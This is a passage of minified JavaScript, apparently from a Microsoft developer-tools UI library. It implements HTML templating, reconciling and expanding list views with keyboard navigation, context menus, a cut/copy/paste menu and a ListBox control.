o?o:o.toString());n=n.replace(t.GTRegex,"&gt;").replace(t.LTRegex,"&lt;").replace(t.DoubleQuoteRegex,"&quot;").replace(t.SingleQuoteRegex,"&apos;").replace(t.DollarRegex,"$$$$");s=s.replace(i,n)}return s}findNextDelimitedString(e){var i=t.DelimiterRegex.exec(e);return i?i[0]:null}}t.DelimiterRegex=/%%[$a-zA-Z_][$a-zA-Z0-9_]*(\.[$a-zA-Z_][$a-zA-Z0-9_]*)*%%/;t.GTRegex=/>/g;t.LTRegex=/</g;t.DoubleQuoteRegex=/"/g;t.SingleQuoteRegex=/'/g;t.DollarRegex=/[$]/g;t.DelimiterLength=2;e.TextBlock=t}(e.Templating||(e.Templating={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t extends e.Block{constructor(e){super();this._template=e.content;this.containerType="include"}process(t,i){return new e.Template(i,{htmlElementSource:document,templateId:this._template}).createTemplateText(t)}}e.IncludeBlock=t}(e.Templating||(e.Templating={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{loadBlocks(t,i){for(var s,n,o,r,a=(new e.RangeFinder).findRanges(i),l=[t],h=0;h<a.length;h++)if("text"===(s=a[h]).rangeType)l[l.length-1].addBlock(new e.TextBlock(s));else if("include"===s.rangeType)l[l.length-1].addBlock(new e.IncludeBlock(s));else if(s.isStart){"if"===s.rangeType?n=new e.IfBlock(s,i):"forEach"===s.rangeType&&(n=new e.ForEachBlock(s,i));if(!n)throw new Error("unrecognized block type "+s.rangeType);l[l.length-1].addBlock(n);l.push(n);n=null}else{if((r=s.rangeType)!==(o=l[l.length-1].containerType))throw new Error("the current container ("+o+") is missing an end tag. Found a ("+r+") end tag instead");l.pop()}}}e.BlockFactory=t}(e.Templating||(e.Templating={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(e,t,i,s){this._templateId="";this._blocks=[];this.containerType="template";this._capabilities=e;if(t){this._htmlElementSource=t.htmlElementSource;this._templateId=t.templateId;var n=this._htmlElementSource.getElementById(this._templateId);if(!n)throw new Error("Template with id "+this._templateId+" is not valid.");var o=n.innerHTML,r=(o=this.removeInternodalWhitespace(o),this.localize(o,s));this.initialize(r)}else this.initialize(i)}addBlock(e){this._blocks.push(e)}createTemplateText(e){return this.processBlocks(e)}createTemplateElement(e){var t,i=this._htmlElementSource.createElement("div");i.innerHTML=this.createTemplateText(e);for(var s=0;s<i.childNodes.length;s++){if(i.childNodes[s].nodeType===Node.TEXT_NODE&&!i.childNodes[s].textContent.match(/^\s+$/))return i;if(i.childNodes[s].nodeType===Node.ELEMENT_NODE){if(t)return i;t=i.childNodes[s]}}return t}appendChild(e,t,i){var s=this.createTemplateElement(t);i&&s.classList.add(i);e.appendChild(s)}replaceChildren(e,t,i){e.innerHTML="";this.appendChild(e,t,i)}localize(e,i){if(!i)return e;var s,n=t.LocalizationRegex.exec(e);if(!n||0===n.length)return e;for(var o=0;o<n.length;o++){var r=(s=n[o]).substring(t.DelimiterLength,s.length-t.DelimiterLength),a=i.getString(r);e=e.replace(s,a)}return e}removeInternodalWhitespace(e){return e=(e=(e=e.trim()).replace(/>\s*\n\s*</g,"><")).replace(/<\/>/g,"")}initialize(t){(new e.BlockFactory).loadBlocks(this,t)}processBlocks(e){for(var t="",i=0;i<this._blocks.length;i++)t+=this._blocks[i].process(e,this._capabilities);return t}}t.LocalizationRegex=/%L%[a-zA-Z]+%L%/;t.DelimiterLength=3;e.Template=t}(e.Templating||(e.Templating={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(e){this.cache=[];this.listSource=e}get length(){return this.cache.length}load(e){this.listSource(t=>{this.cache=t||[];e()},this._loadArgs)}setLoadArgs(e){this._loadArgs=e}item(e){F12.Tools.Utility.Assert.isTrue(e>=0&&e<this.cache.length);return this.cache[e]}}e.ListModel=t}(e.ModelView||(e.ModelView={}))}(Common||(Common={}));!function(e){!function(t){"use strict";var i=e.Templating;class s{constructor(e,t,i,s,n,o,r){this._alternateTemplates=[];this._handlersAdded=[];this.htmlElementSource=e;this.listViewDivId=t;this.listRoot=e.getElementById(t);if(!this.listRoot)throw new Error("Can't find list root element with id '"+t+"'.");this._defaultTemplate=this.createTemplate(n,i,r);if(!this.listRoot)throw new Error("Can't find default template element with id '"+i+"'.");this.model=s;o&&o.forEach((e,t,i)=>{var s=this.createTemplate(n,e.templateId);this._alternateTemplates.push({selectionFunction:e.templateMatchFunction,template:s})})}createTemplate(e,t,s){return new i.Template(e,{htmlElementSource:this.htmlElementSource,templateId:t},null,s)}addAutoRemoveHandlers(e,t,i,s){var n=e=>this.eventHandler(s,e);i.forEach(i=>{for(var s=[],o=e.querySelectorAll("."+i),r=0;r<o.length;r++)s.push(o[r]);e.classList.contains(i)&&s.push(e);s.forEach(e=>{e.addEventListener(t,n);this._handlersAdded.push({element:e,event:t,handler:n})})})}addHandler(e,t,i,s){e.addEventListener(t,e=>this.eventHandler(s,e,i))}updateView(){return new Promise(e=>{this.model.load(()=>{this.renderView();e()})})}renderView(){this.clearView();this.preViewProcessing();for(var e=0;e<this.model.length;e++){this.preItemViewProcessing(e);let t=this.renderItem(this.model.item(e),"BPT-List-Item");this.listRoot.appendChild(t);this.postItemViewProcessing(e,t)}this.postViewProcessing();this.renderViewCallback&&this.renderViewCallback()}renderItem(e,t){var i=this.chooseTemplate(e).createTemplateElement(e);t&&i.classList.add(t);return i}renderItemWithTemplate(e,t,i){let s=this.createTemplate(t,i,null),n=null;s&&(n=s.createTemplateElement(e));return n}renderItemText(e){return this.chooseTemplate(e).createTemplateText(e)}clearView(){this.removeAllHandlers();$m(this.listRoot).children().remove()}removeAllHandlers(){this._handlersAdded.forEach(e=>{e.element.removeEventListener(e.event,e.handler)});this._handlersAdded=[]}setFocus(e){this.setTabIndex(e);e.focus()}setTabIndex(e,t=1){for(var i=this.listRoot.querySelectorAll("[tabIndex='1']"),s=0;s<i.length;s++)i[s].removeAttribute("tabIndex");e.setAttribute("tabIndex",t.toString())}postViewProcessing(){this.addAutoRemoveHandlers(this.listRoot,"mouseenter",[s.TOOLTIP_ITEM],e=>{var t=e.target.getAttribute("data-tooltip");t&&Microsoft.Plugin.Tooltip.show({content:t});return!0});this.addAutoRemoveHandlers(this.listRoot,"mouseleave",[s.TOOLTIP_ITEM],e=>{Microsoft.Plugin.Tooltip.dismiss();return!0})}preViewProcessing(){}preItemViewProcessing(e){}postItemViewProcessing(e,t){}chooseTemplate(e){var t=null;this._alternateTemplates.forEach((i,s,n)=>{i.selectionFunction(e)&&(t=i.template)});t||(t=this._defaultTemplate);return t}eventHandler(t,i,s){if(!e.ToolWindowHelpers.isContextMenuUp()){var n=i.target;if(n){var o;if(s&&s.length&&n.classList){o=!1;for(var r=0;r<s.length;r++)if(n.classList.contains(s[r])){o=!0;break}}else o=!0;if(o&&!t(i)){i.preventDefault();i.stopPropagation()}}}}}s.TOOLTIP_ITEM="BPT-Tooltip-Item";t.ListView=s}(e.ModelView||(e.ModelView={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(e,t,i,s,n,o,r){this._idPropertyName=e;this._sortPropertyName=t;this._insertBeforeCallback=i;this._updateCallback=s;this._deleteCallback=n;this._isChanged=o;this._clearDirtyFlag=r;this._isChanged||(this._isChanged=((e,t)=>e!==t))}reconcile(e,t){null!==e&&void 0!==e||(e=[]);null!==t&&void 0!==t||(t=[]);this._sortPropertyName&&t.sort((e,t)=>{var i=e[this._sortPropertyName],s=t[this._sortPropertyName];return i===s?0:i<s?-1:1});for(var i=0,s=0;i<e.length||s<t.length;)if(s>=t.length)this._deleteCallback(e[i++]);else if(i>=e.length)this._insertBeforeCallback(t[s++],i<e.length?e[i]:null);else if(t[s][this._idPropertyName]===e[i][this._idPropertyName]){if(this._isChanged(t[s],e[i])){this._updateCallback(t[s],e[i]);this._clearDirtyFlag&&this._clearDirtyFlag(t[s])}s++;i++}else t[s][this._sortPropertyName]>e[i][this._sortPropertyName]?this._deleteCallback(e[i++]):this._insertBeforeCallback(t[s++],e[i])}}e.ListReconciler=t}(e.ModelView||(e.ModelView={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t extends e.ListView{constructor(t,i,s,n,o,r,a,l,h,d,c){super(t,i,s,n,o,r,a);this.objectsPreviouslyRendered=[];this.htmlElementSource=t;this.listViewDivId=i;this.idPropertyName=l;this._sortPropertyName=h;this.idPropertyName&&this._sortPropertyName&&(this.listReconciler=new e.ListReconciler(l,h,this.insertBefore.bind(this),this.update.bind(this),this.deleteItem.bind(this),d,c))}renderView(){if(this.listReconciler){this.preViewProcessing();this.listReconciler.reconcile(this.objectsPreviouslyRendered,this.model.cache);this.objectsPreviouslyRendered=this.model.cache.slice(0);this.postViewProcessing();this.renderViewCallback&&this.renderViewCallback()}else super.renderView()}beforeUpdate(e,t,i){}afterUpdate(e,t,i){}beforeDelete(e,t){}afterDelete(){}clearView(){super.clearView();this.objectsPreviouslyRendered=[]}insertBefore(e,i){var s=this.renderItem(e,t.ListItemClassName);if(i){var n=this.listRoot.querySelector("[data-listid='"+i[this.idPropertyName]+"']");n?this.listRoot.insertBefore(s,n):this.listRoot.appendChild(s)}else this.listRoot.appendChild(s)}update(e,i){var s=this.listRoot.querySelector("[data-listid='"+i[this.idPropertyName]+"']");if(s){this.beforeUpdate(e,i,s);var n=this.renderItemText(e);s.outerHTML=n;s.classList.add(t.ListItemClassName);this.afterUpdate(e,i,s)}}deleteItem(e){var t=this.listRoot.querySelector("[data-listid='"+e[this.idPropertyName]+"']");if(t){this.beforeDelete(e,t);t.parentNode.removeChild(t);this.afterDelete()}}}t.ListItemClassName="BPT-List-Item";e.ReconcilingListView=t}(e.ModelView||(e.ModelView={}))}(Common||(Common={}));!function(e){!function(t){"use strict";const i=(t,i)=>e.ToolWindowHelpers.loadString(t,i);function s(e,t){for(;e;){if(e.classList.contains(t))return e;e=e.parentElement}return null}class n{static isCurrentFocusOnInput(){var e=document.activeElement;return n.isTextArea(e)||n.isInputText(e)}static isTextArea(e){if(!e)return!1;var t=e.tagName;return"string"==typeof t&&"TEXTAREA"===t.toUpperCase()}static isInputText(e){if(!e)return!1;var t=e.tagName;return"string"==typeof t&&("INPUT"===t.toUpperCase()&&e.hasAttribute("type")&&"text"===e.getAttribute("type"))}static findDescendentByClass(e,t){return e?e.querySelector("."+t):null}}t.Utility=n;class o extends e.ModelView.ReconcilingListView{constructor(e,t,i,s,n,o,r,a,l,h,d,c){super(e,t,i,s,n,r,a,l,h,d,c);this._expansionChangeCallback=o;this.addClickHandlerThatExpandsAndCollapsesChildren();this.addKeyboardNavigationHandlers();this.addFocusSettingDivClickHandler()}postViewProcessing(){super.postViewProcessing();var e=this.getMenuConfig();e&&(this._contextMenuController=new a(this,this.listRoot,e));var t=n.findDescendentByClass(this.listRoot,o.HEADER_CLASS);t&&(t.tabIndex=1)}findHeaderOrChild(e){for(;e.parentElement&&!e.classList.contains(o.HEADER_CLASS)&&!e.classList.contains(o.CHILD_VALUE_CONTAINER_CLASS);)e=e.parentElement;return e}getMenuConfig(){return null}beforeUpdate(e,t,i){this._lastItemHadFocus=!1;this._subItemWithFocus=null;if(this.idPropertyName){var r=this.htmlElementSource.activeElement;if(r){var a=n.findDescendentByClass(i,o.HEADER_CLASS),l=s(r,o.LIST_ITEM_CLASS),h=n.findDescendentByClass(l,o.HEADER_CLASS);this._lastItemHadFocus=a===h;r.classList.contains(o.CHILD_VALUE_CONTAINER_CLASS)&&(this._subItemWithFocus=r.getAttribute("data-listsubid"))}}}afterUpdate(e,t){if(this._lastItemHadFocus){var i;this._subItemWithFocus&&(i=this.listRoot.querySelector("[data-listsubid='"+this._subItemWithFocus+"']"));i||(i=this.listRoot.querySelector("[data-listid='"+t[this.idPropertyName]+"'] > ."+o.HEADER_CLASS));i&&this.setFocus(i)}}beforeDelete(e,t){var i=s(this.htmlElementSource.activeElement,o.LIST_ITEM_CLASS);this._lastItemHadFocus=i===t}afterDelete(){if(this._lastItemHadFocus){var e=n.findDescendentByClass(this.listRoot,o.HEADER_CLASS);e&&this.setFocus(e)}}toggleExpander(e){var t=e.parentElement,i="true"===t.getAttribute("aria-expanded");t.setAttribute("aria-expanded",i?"false":"true");this._expansionChangeCallback&&this._expansionChangeCallback(e.parentElement.parentElement.getAttribute("data-listid"),!i)}collapseSection(e){e.parentElement.setAttribute("aria-expanded","false");this._expansionChangeCallback&&this._expansionChangeCallback(e.parentElement.parentElement.getAttribute("data-listid"),!0)}addClickHandlerThatExpandsAndCollapsesChildren(){this.addHandler(this.listRoot,"click",[o.EXPAND_ICON_CLASS],e=>{this.toggleExpander(e.target);return!1})}addKeyboardNavigationHandlers(){this.addHandler(this.listRoot,"keydown",null,t=>{if(t.ctrlKey||t.shiftKey||t.altKey)return!0;if(e.ToolWindowHelpers.isContextMenuUp())return!0;if(n.isCurrentFocusOnInput())return!0;t.target;var i=t.srcElement;if(t.key===e.Keys.DOWN)this.moveFocusDown(i);else if(t.key===e.Keys.UP)this.moveFocusUp(i);else if(t.key===e.Keys.LEFT)this.focusParentOrCollapse(i);else if(t.key===e.Keys.RIGHT)this.expandOrFocusChild(i);else if(t.key===e.Keys.HOME)this.moveFocusToFirst(i);else{if(t.key!==e.Keys.END)return!0;this.moveFocusToLast(i)}return!1})}focusParentOrCollapse(e){if(this.isChild(e)){var t=e.parentElement.parentElement.children[0];this.setFocus(t)}else{var i=n.findDescendentByClass(e.parentElement,o.EXPAND_ICON_CLASS);if(i){"true"===i.parentElement.getAttribute("aria-expanded")&&this.toggleExpander(i)}}}expandOrFocusChild(e){if(!this.isChild(e))if("true"===e.getAttribute("aria-expanded")){var t=e.nextElementSibling;if(t&&t.children&&t.children.length){var i=t.children[0];this.setFocus(i)}}else{var s=n.findDescendentByClass(e,o.EXPAND_ICON_CLASS);s&&this.toggleExpander(s)}}findFocusableUp(e){var t,i=e.previousElementSibling;if(i)return i;if(this.isChild(e)){t=e.parentElement.parentElement;return n.findDescendentByClass(t,o.HEADER_CLASS)}var s=(t=e.parentElement).previousElementSibling;if(!s)return null;var r=n.findDescendentByClass(s,o.HEADER_CLASS);if("true"===r.getAttribute("aria-expanded")&&s.children&&s.children.length>=2){return s.children[1].lastElementChild}return r}moveFocusUp(e){var t=this.findFocusableUp(e);t&&this.setFocus(t)}moveFocusToFirst(e){for(var t,i=e;t=this.findFocusableUp(i);)i=t;i&&this.setFocus(i)}findFocusableDown(e){var t,i=e.nextElementSibling;if(i&&this.isChild(e))return i;if(this.isChild(e))t=e.parentElement.parentElement;else{if("true"===e.getAttribute("aria-expanded")){var s=e.nextElementSibling;if(s&&s.children.length){return s.children[0]}}t=e.parentElement}var r=t.nextElementSibling;return r?n.findDescendentByClass(r,o.HEADER_CLASS):null}moveFocusDown(e){var t=this.findFocusableDown(e);t&&this.setFocus(t)}moveFocusToLast(e){for(var t,i=e;t=this.findFocusableDown(i);)i=t;i&&this.setFocus(i)}isChild(e){return e.classList.contains(o.CHILD_VALUE_CONTAINER_CLASS)}addFocusSettingDivClickHandler(){this.addHandler(this.listRoot,"click",null,e=>{var t=this.findHeaderOrChild(e.target);t.focus&&this.setFocus(t);return!0})}}o.LIST_ITEM_CLASS="BPT-ExpandingList-Item";o.EXPAND_ICON_CLASS="BPT-ExpandingList-ExpandIcon";o.HEADER_CLASS="BPT-ExpandingList-Header";o.CHILD_VALUE_CONTAINER_CLASS="BPT-ExpandingList-Child-Value-Container";t.ExpandingListView=o;let r;!function(e){e[e.CopyObject=0]="CopyObject"}(r||(r={}));class a{constructor(t,i,s){this._menuId="ExpandingViewContextMenu"+a.Uid++;this._expandingView=t;this._elementListener=i;this._config=s;this.initialize();this._menuItems=[];var n=0;this._config.menuItems.forEach(t=>{if(t.isSeparator){let e={id:`separator${++n}`,type:Microsoft.Plugin.ContextMenu.MenuItemType.separator};this._menuItems.push(e)}else{let i="function"==typeof t.textIdentifier?t.textIdentifierFallback||"":t.textIdentifier,s={id:t.name,type:"function"==typeof t.isChecked?Microsoft.Plugin.ContextMenu.MenuItemType.checkbox:Microsoft.Plugin.ContextMenu.MenuItemType.command,label:e.ToolWindowHelpers.loadString(i)};this._menuItems.push(s)}})}uninitialize(){this._elementListener.removeEventListener("contextmenu",this._contextMenuListener);this._elementListener.removeEventListener("keydown",this._keydownListener)}dismiss(){if(this._contextMenu){this._contextMenu.removeEventListener("dismiss",this._dismissHandler);this._contextMenu.dismiss();this._contextMenu.dispose();this._contextMenu=null}e.ToolWindowHelpers.contextMenuUp(!1)}initialize(){this._contextMenuListener=(e=>this.onContextMenu(e));this._keydownListener=(e=>this.onKeydown(e));this._elementListener.addEventListener("contextmenu",this._contextMenuListener);this._elementListener.addEventListener("keydown",this._keydownListener)}onKeydown(t){var i=t.shiftKey&&!t.ctrlKey&&!t.altKey;if(t.keyCode===e.KeyCodes.F10&&i){var s=document.querySelector("#"+this._expandingView.listViewDivId+" :focus")||this._elementListener,n=s.getBoundingClientRect();this.showContextMenu(s,n.left,n.top);t.preventDefault();t.stopImmediatePropagation()}return!0}onContextMenu(e){var t=null,i=e.clientX,s=e.clientY;if(this._config.getSelectedItem)t=this._config.getSelectedItem(i,s);else if(this._expandingView)if(i<=0||s<=0){if(t=document.querySelector("#"+this._expandingView.listViewDivId+" :focus")){var n=t.getBoundingClientRect();i=n.left;s=n.top}}else(t=this._expandingView.findHeaderOrChild(document.elementFromPoint(i,s)))&&this._expandingView.setFocus(t);this.showContextMenu(t,i,s);e.preventDefault();e.stopImmediatePropagation();return!1}onMenuItemClicked(e,t,i){for(var s=0;s<this._menuItems.length;s++)if(this._menuItems[s].id===t){this._config.menuItems[s].execute(i);break}this.dismiss()}showContextMenu(t,s,n){this.dismiss();this._selection=t;if(!this._contextMenu){for(var o=0;o<this._menuItems.length;o++){this._menuItems[o].disabled=this.createIsDisabledFunction(this._config.menuItems[o].isDisabled);this._menuItems[o].checked=this.createIsDisabledFunction(this._config.menuItems[o].isChecked);"function"==typeof this._config.menuItems[o].textIdentifier?this._menuItems[o].label=i(this._config.menuItems[o].textIdentifier(t)):this._menuItems[o].type!==Microsoft.Plugin.ContextMenu.MenuItemType.separator&&(this._menuItems[o].label=i(this._config.menuItems[o].textIdentifier))}this._contextMenu=Microsoft.Plugin.ContextMenu.create(this._menuItems,this._menuId,null,null,(e,t)=>this.onMenuItemClicked(e,t.id,this._selection));this._dismissHandler=(e=>{this.dismiss()})}this._elementListener&&this._contextMenu.attach(this._elementListener);this._contextMenu.show(parseInt(s.toFixed(0)),parseInt(n.toFixed(0)));this._contextMenu.addEventListener("dismiss",this._dismissHandler);e.ToolWindowHelpers.contextMenuUp(!0);return!1}createIsDisabledFunction(e){return e?()=>e(this._selection):()=>!1}createGetLabelFunction(e,t){return e?()=>e(this._selection):()=>t}}a.Uid=0;t.ExpandingContextMenuController=a}(e.ModelView||(e.ModelView={}))}(Common||(Common={}));!function(e){!function(e){!function(e){"use strict";class t{constructor(e){this._rootElement=e;if(void 0===this._rootElement){this._rootElement=document.createElement("div");this._rootElement.style.width=this._rootElement.style.height="100%"}else if(null===this._rootElement)throw new Error("Invalid root element for Control.")}get rootElement(){return this._rootElement}set rootElement(e){if(!e)throw new Error("Invalid root");var t=this._rootElement;this._rootElement=e;t&&t.parentNode&&t.parentNode.replaceChild(e,t)}get parent(){return this._parent}set parent(e){if(this._parent!==e){this._parent=e;this._parent&&!this._parent.rootElement.contains(this._rootElement)&&this._parent.appendChild(this);this.onParentChanged()}}appendChild(e){this._rootElement.appendChild(e.rootElement);e.parent=this}removeChild(e){if(e.rootElement.parentElement){this._rootElement.removeChild(e.rootElement);e.parent=null}}destroy(){this._rootElement=null}onParentChanged(){}}e.Control=t}(e.Legacy||(e.Legacy={}))}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(e){!function(e){"use strict";class t extends e.Control{constructor(){super()}get content(){return this._content}set content(e){if(this._content!==e){this._content&&this.removeChild(this._content);this._content=e;this.appendChild(this._content);this.onContentChanged()}}appendChild(e){if(0!==this.rootElement.children.length)throw new Error("Only one child is allowed in a content control.");super.appendChild(e)}onContentChanged(){}}e.ContentControl=t}(e.Legacy||(e.Legacy={}))}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(t){!function(t){"use strict";class i extends e.Controls.Legacy.Control{constructor(e,t){super();this._idPostfix=i.GlobalIdPostfix++;e&&this.setTemplateFromName(e,t)}setTemplateFromName(e,t){if(t){var i=t.getTemplateString(e);this.setTemplateFromHTML(i)}else{var s=this.getTemplateElementCopy(e);this.adjustElementIds(s);this.rootElement=s}}setTemplateFromHTML(e){var t=this.getTemplateElementFromHTML(e);this.adjustElementIds(t);this.rootElement=t}findElement(e){var t=e+this._idPostfix;return this.forAllSelfAndDescendants(this.rootElement,function(e){return!e.id||e.id!==t})}findElementsByClassName(e){var t=[];this.forAllSelfAndDescendants(this.rootElement,i=>{i.classList&&i.classList.contains(e)&&t.push(i);return!0});return t}getTemplateElementCopy(e){var t=document.getElementById(e);if(!t)throw new Error("Couldn't find the template with name: "+e);if("script"!==t.tagName.toLowerCase())throw new Error("Expecting the template container to be a script element.");return this.getTemplateElementFromHTML(t.innerHTML)}getTemplateElementFromHTML(e){var t=this.getTemplateRootElement();t.innerHTML=e;1===t.childElementCount&&(t=t.firstElementChild);return t}getTemplateRootElement(){var e=document.createElement("div");e.style.width=e.style.height="100%";return e}adjustElementIds(e){var t=this._idPostfix;this.forAllSelfAndDescendants(e,function(e){e.id&&(e.id=e.id+t);return!0})}forAllSelfAndDescendants(e,t){var i=null;if(t(e)){if(e.children)for(var s=e.children,n=s.length,o=0;o<n&&!(i=this.forAllSelfAndDescendants(s[o],t));o++);}else i=e;return i}}i.GlobalIdPostfix=1;t.TemplateControl=i}(t.Legacy||(t.Legacy={}))}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){"use strict";class t{constructor(e,t){this._element=e;this._onModifyCallback=t;this._element.addEventListener("contextmenu",e=>this.handleContextMenu(e));this._element instanceof HTMLInputElement&&this._element.addEventListener("keyup",e=>this.handleKeyUp(e))}get isActive(){return this._isActive}show(t,i){var s=t,n=i;if(this._element instanceof HTMLInputElement&&(s<=0||n<=0)){var o=e.ToolWindowHelpers.getSelection(this._element),r=e.ToolWindowHelpers.getCharScreenPosition(this._element,o.end);s=r.left;n=r.top}var a=[];this._element instanceof HTMLInputElement&&a.push({id:"menuInputBoxCut",type:Microsoft.Plugin.ContextMenu.MenuItemType.command,label:Microsoft.Plugin.Resources.getString("/Common/CutMenuText"),accessKey:Microsoft.Plugin.Resources.getString("/Common/AccessKeyCtrlX")});a.push({id:"menuInputBoxCopy",type:Microsoft.Plugin.ContextMenu.MenuItemType.command,label:Microsoft.Plugin.Resources.getString("/Common/CopyMenuText"),accessKey:Microsoft.Plugin.Resources.getString("/Common/AccessKeyCtrlC")});this._element instanceof HTMLInputElement&&a.push({id:"menuInputBoxPaste",type:Microsoft.Plugin.ContextMenu.MenuItemType.command,label:Microsoft.Plugin.Resources.getString("/Common/PasteMenuText"),accessKey:Microsoft.Plugin.Resources.getString("/Common/AccessKeyCtrlV")});var l=(e,t,i)=>{this.invokeContextMenu(e,t)},h=Microsoft.Plugin.ContextMenu.create(a,null,null,null,l);h.attach(this._element);this._isActive=!0;h.show(s,n);h.addEventListener("dismiss",()=>{h.dispose();this._isActive=!1})}invokeContextMenu(e,t){switch(t.id){case"menuInputBoxCut":this.onCut();break;case"menuInputBoxPaste":this.onPaste();break;case"menuInputBoxCopy":this.onCopy()}}onCut(){var t=e.ToolWindowHelpers.getSelection(this._element),i=this.getSelectedText()||"",s=this._element;s.value=s.value.substring(0,t.start)+s.value.substring(t.end);this._onModifyCallback&&this._onModifyCallback();this._element.focus();s.setSelectionRange(t.start,t.start);e.ClipboardHelper.copyPlainText(i)}onCopy(){const t=this.getSelectedText()||"";e.ClipboardHelper.copyPlainText(t);this._element.focus()}async onPaste(){const t=await e.ClipboardHelper.getPasteTextAsync();var i=e.ToolWindowHelpers.getSelection(this._element),s=this._element;s.value=e.ToolWindowHelpers.replaceTextInRange(s.value,i.start,i.end,t);this._onModifyCallback&&this._onModifyCallback();s.focus();var n=i.start+t.length;setImmediate(()=>s.setSelectionRange(n,n))}getSelectedText(){var t;if(this._element instanceof HTMLInputElement){var i=e.ToolWindowHelpers.getSelection(this._element),s=this._element;t=s.value.substring(i.start,i.end)||s.value}else{var n=window.getSelection();if(1===n.rangeCount){var o=n.getRangeAt(0);o.startContainer.parentNode===this._element&&o.endContainer.parentNode===this._element&&(t=o.toString())}t||(t=this._element.textContent)}return t}handleContextMenu(e){this.show(e.clientX,e.clientY);e.stopImmediatePropagation();e.preventDefault();return!1}handleKeyUp(t){if(t.keyCode===e.KeyCodes.F10&&t.shiftKey&&!t.ctrlKey&&!t.altKey){this.show(0,0);t.stopImmediatePropagation();t.preventDefault();return!1}}}e.CutCopyPasteContextMenu=t}(Common||(Common={}));!function(e){!function(t){!function(t){"use strict";class i{constructor(e,t,i,s){this.index=-1;this.value=e;this.text=t;this.info=i||"";this.itemClass=s||""}}t.ListBoxItem=i;class s extends t.TemplateControl{constructor(e,t,i){super(e);e||this.setTemplateFromHTML('<ul class="listBox"></ul>');this.rootElement.setAttribute("tabindex","0");this.rootElement.setAttribute("role","listbox");this.rootElement.onkeydown=(e=>this.onKeyDown(e));this._listItemElementType=t||"li";this._listItemElementClass=i||"";this._listItemContainers=[];this._selectedIndex=-1;this.rootElement.id||(this.rootElement.id=s.getUniqueID())}get selectedItemChanged(){return this._onSelectedItemChanged}set selectedItemChanged(e){this._onSelectedItemChanged=e}get selectedIndexChanged(){return this._onSelectedIndexChanged}set selectedIndexChanged(e){this._onSelectedIndexChanged=e}get itemDoubleClicked(){return this._onItemDoubleClicked}set itemDoubleClicked(e){this._onItemDoubleClicked=e}get listItems(){return this._listItems}set listItems(e){this.fireBuildListBoxStartEvent();this.selectedIndex=-1;this._listItems=[];var t=0;if(e)for(;t<e.length;++t){var i=e[t];i.index=t;this._listItems.push(i);if(t<this._listItemContainers.length){this._listItemContainers[t].item=i;this._listItemContainers[t].rootElement.style.display="list-item";this._listItemContainers[t].rootElement.removeAttribute("aria-hidden")}else{var s=this.createListItemContainer(i);this._listItemContainers.push(s);this.appendChild(s)}}this.resetUnusedItems(t);this.fireBuildListBoxEndEvent()}get listItemHeight(){if(void 0===this._listItemHeight){if(!(this.listItems.length>0))return s.DEFAULT_LIST_ITEM_HEIGHT;this._listItemHeight=this._listItemContainers[0].rootElement.offsetHeight}return this._listItemHeight}get itemContainers(){return this._listItemContainers}get selectedIndex(){return this._selectedIndex}set selectedIndex(e){if(this._selectedIndex!==e){var t=this._selectedIndex;this._selectedIndex=e;if(t>=0){this._listItemContainers[t].selected=!1}if(e>=0&&e<this._listItemContainers.length){this._listItemContainers[e].selected=!0;if(e!==t){this._onSelectedIndexChanged&&this._onSelectedIndexChanged(e);this._onSelectedItemChanged&&this._onSelectedItemChanged(this._listItems[e])}}}}get selectedItem(){var e=this.selectedIndex;return e>=0?this._listItems[e]:null}set selectedItem(e){this.selectedIndex;var t=this._listItems.indexOf(e);this.selectedIndex=t}scrollIntoView(e,t){var i=this._listItems.indexOf(e);if(i>=0){var s=this._listItemContainers[i].rootElement,n=s.getBoundingClientRect(),o=document.elementFromPoint(n.left+1,n.top+1),r=document.elementFromPoint(n.right-1,n.bottom-1);o===s&&r===s||this._listItemContainers[i].rootElement.scrollIntoView(t)}}createListItemContainer(e){return new n(this,e,this._listItemElementType,this._listItemElementClass)}fireBuildListBoxStartEvent(){}fireBuildListBoxEndEvent(){}fireResetListBoxStartEvent(){}fireResetListBoxEndEvent(){}static getUniqueID(){return"Common-Controls-Legacy-ListBox-"+s.CurrentUniqueID++}resetUnusedItems(e){this.fireResetListBoxStartEvent();for(var t=e;t<this._listItemContainers.length;++t){this._listItemContainers[t].rootElement.style.display="none";this._listItemContainers[t].rootElement.setAttribute("aria-hidden","true");this._listItemContainers[t].item=null}this.fireResetListBoxEndEvent()}onKeyDown(t){var i=!t.shiftKey&&!t.ctrlKey&&!t.altKey;if(t.keyCode===e.KeyCodes.ArrowUp&&i){if(this.selectedIndex>0){this.selectedIndex--;this.scrollIntoView(this.selectedItem,!0)}}else if(t.keyCode===e.KeyCodes.ArrowDown&&i&&this.selectedIndex<this._listItemContainers.length-1){this.selectedIndex++;this.scrollIntoView(this.selectedItem,!1)}}}s.DEFAULT_LIST_ITEM_HEIGHT=10;s.CurrentUniqueID=0;t.ListBox=s;class n extends t.Control{constructor(e,t,i,s){super(document.createElement(i));this._owner=e;this._item=t;this.rootElement.innerText=t.text;this.rootElement.value=t.value;t.itemClass&&t.itemClass.length>0&&this.rootElement.classList.add(t.itemClass);""!==s&&this.rootElement.classList.add(s);this.rootElement.onmouseover=(()=>{this._item&&this._item.info&&Microsoft.Plugin.Tooltip.show({content:this._item.info});return!0});this.rootElement.setAttribute("role","option");this.rootElement.onmousedown=(e=>this.onMouseDown(e));this.rootElement.onclick=(e=>this.onMouseDown(e));this.rootElement.ondblclick=(e=>this.onDoubleClicked(e));this.rootElement.getAttribute("id")||this.rootElement.setAttribute("id",n.getUniqueID())}get selectedChanged(){return this._onSelectChanged}set selectedChanged(e){this._onSelectChanged=e}get selected(){return this._selected}set selected(e){var t=e!==this._selected;this._selected=e;if(t)if(e){this.rootElement.setAttribute("selected","selected");this.rootElement.setAttribute("aria-selected","true");this._owner.selectedItem=this._item}else{this.rootElement.removeAttribute("selected");this.rootElement.removeAttribute("aria-selected")}this._onSelectChanged&&t&&this._onSelectChanged(e)}get item(){return this._item}set item(e){if(e&&"string"==typeof 